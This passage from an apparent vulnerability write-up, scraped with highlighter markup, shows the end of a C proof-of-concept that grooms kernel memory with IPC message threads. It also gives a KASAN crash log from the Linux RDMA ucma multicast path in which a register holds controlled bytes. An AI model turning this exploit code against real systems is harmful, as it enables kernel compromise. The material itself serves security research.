class=\"crayon-v\">sendNum<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">mmap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_READ<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_WRITE<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-439\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">MAP_ANONYMOUS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MAP_SHARED<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-440\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">sendNum<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-441\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-442\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">msgget<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">IPC_PRIVATE<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0644<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IPC_CREAT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-443\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;msgget&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-444\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-445\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-446\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-447\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sendHoleInfo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-448\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sendHoleInfo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sendOrRecv<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SEND<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-449\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sendHoleInfo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">CPUNumber<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-450\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-451\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">recvHoleInfo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-452\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">recvHoleInfo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sendOrRecv<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RECV<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-453\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">recvHoleInfo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">CPUNumber<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-454\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-455\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Creating ipc msg threadsn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-456\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-457\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">250<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-458\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">createHoleThreads<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">sendHoleInfo<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-459\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-460\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">150<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-461\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">createHoleThreads<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">recvHoleInfo<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-462\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-463\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-464\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Ipc msg threads are createdn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-465\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-466\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">procid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">procid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">procid<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-467\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">fork<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-468\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/for (;;) {<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-469\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">loop<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-470\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-471\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-472\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-473\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;ending&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-474\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1000000<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-475\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-476\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0485 seconds] -->  <\/p>\n<p><strong>Crash info<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b6383596d214191674479\" class=\"crayon-syntax crayon-theme-secrets-of-rock crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> [  623.954258] kasan: CONFIG_KASAN_INLINE enabled  [  623.956513] kasan: GPF could be caused by NULL-ptr deref or user  memory access  [  623.959668] general protection fault: 0000 [#8] SMP KASAN PTI  [  623.962402] Modules linked in: kvm_intel joydev ppdev kvm irqbypass  psmouse e1000 parport_pc floppy parport pata_acpi i2c_piix4  qemu_fw_cfg autofs4 input_leds serio_raw mac_hid  [  623.968486] CPU: 1 PID: 4272 Comm: use_poc_3 Tainted: G    B D W     4.14.33 #1  [  623.971948] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),  BIOS 1.10.2-1ubuntu1 04\/01\/2014  [  623.975340] task: ffff880085868040 task.stack: ffff880066e60000  [  623.977698] RIP: 0010:__mutex_lock+0x2a9\/0x1c00  [  623.979900] RSP: 0018:ffff880066e67680 EFLAGS: 00010206  [  623.981902] RAX: dffffc0000000000 RBX: 4141414141414141 RCX: 0000000000000000  [  623.984623] RDX: 0828282828282828 RSI: 0000000000000000 RDI: 0000000000000246  [  623.987391] RBP: ffff880066e67a70 R08: ffffffff8313f0b2 R09: ffff880085868040  [  623.990093] R10: ffff880066e67548 R11: 0000000000000000 R12: ffff880066e677a0  [  623.993642] R13: ffff880066e67800 R14: 0000000000000000 R15: ffff880066e67880  [  623.996525] FS:  00007f1fdc554700(0000) GS:ffff880097d00000(0000)  knlGS:0000000000000000  [  623.998753] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  [  624.000779] CR2: 00007f1fe0622a08 CR3: 000000007fe40000 CR4: 00000000000006e0  [  624.002582] Call Trace:  [  624.003570]  ? debug_check_no_locks_freed+0x2c0\/0x2c0  [  624.004730]  ? ucma_leave_multicast+0x472\/0x9a0  [  624.006545]  ? mutex_lock_io_nested+0x1ad0\/0x1ad0  [  624.008518]  ? debug_check_no_locks_freed+0x2c0\/0x2c0  [  624.010548]  ? ucma_leave_multicast+0x3cd\/0x9a0  [  624.011826]  ? lock_acquire+0x5b0\/0x5b0  [  624.012676]  ? radix_tree_tagged+0x60\/0x60  [  624.013884]  ? lock_acquire+0x20d\/0x5b0  [  624.015467]  ? rdma_leave_multicast+0x541\/0x820  [  624.017408]  ? lock_acquire+0x5b0\/0x5b0  [  624.018971]  ? lock_downgrade+0x820\/0x820  [  624.020497]  ? __mutex_unlock_slowpath+0x170\/0xcb0  [  624.021855]  ? radix_tree_tag_clear+0x350\/0x350  [  624.023283]  ? do_raw_spin_trylock+0x1a0\/0x1a0  [  624.024889]  ? trace_hardirqs_on_thunk+0x1a\/0x1c  [  624.026230]  ? retint_kernel+0x10\/0x10  [  624.027714]  mutex_lock_nested+0x1b\/0x20  [  624.029088]  ? mutex_lock_nested+0x1b\/0x20  [  624.030617]  ucma_leave_multicast+0x472\/0x9a0  [  624.031874]  ? ucma_query_path.isra.11+0xa60\/0xa60  [  624.033216]  ? lock_downgrade+0x820\/0x820  [  624.034471]  ? entry_SYSCALL_64_after_hwframe+0x42\/0xb7  [  624.035921]  ? kasan_check_write+0x14\/0x20  [  624.037151]  ucma_write+0x31f\/0x430  [  624.038174]  ? ucma_query_path.isra.11+0xa60\/0xa60  [  624.039702]  ? ucma_destroy_id+0x5b0\/0x5b0  [  624.041199]  ? __check_object_size+0x2d8\/0x560  [  624.043076]  ? ucma_destroy_id+0x5b0\/0x5b0  [  624.044756]  __vfs_write+0x90\/0x120  [  624.046565]  vfs_write+0x1a0\/0x520  [  624.048185]  SyS_write+0xff\/0x240  [  624.049546]  ? SyS_read+0x240\/0x240  [  624.050923]  ? lock_downgrade+0x820\/0x820  [  624.052617]  ? SyS_read+0x240\/0x240  [  624.054182]  do_syscall_64+0x28f\/0x7f0  [  624.055722]  ? syscall_return_slowpath+0x400\/0x400  [  624.057637]  ? syscall_return_slowpath+0x253\/0x400  [  624.059575]  ? prepare_exit_to_usermode+0x2b0\/0x2b0  [  624.061498]  ? preempt_notifier_dec+0x20\/0x20  [  624.063201]  ? perf_trace_sys_enter+0xc70\/0xc70  [  624.064978]  ? trace_hardirqs_off_thunk+0x1a\/0x1c  [  624.066805]  entry_SYSCALL_64_after_hwframe+0x42\/0xb7<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d214191674479-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d214191674479-66\">66<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; 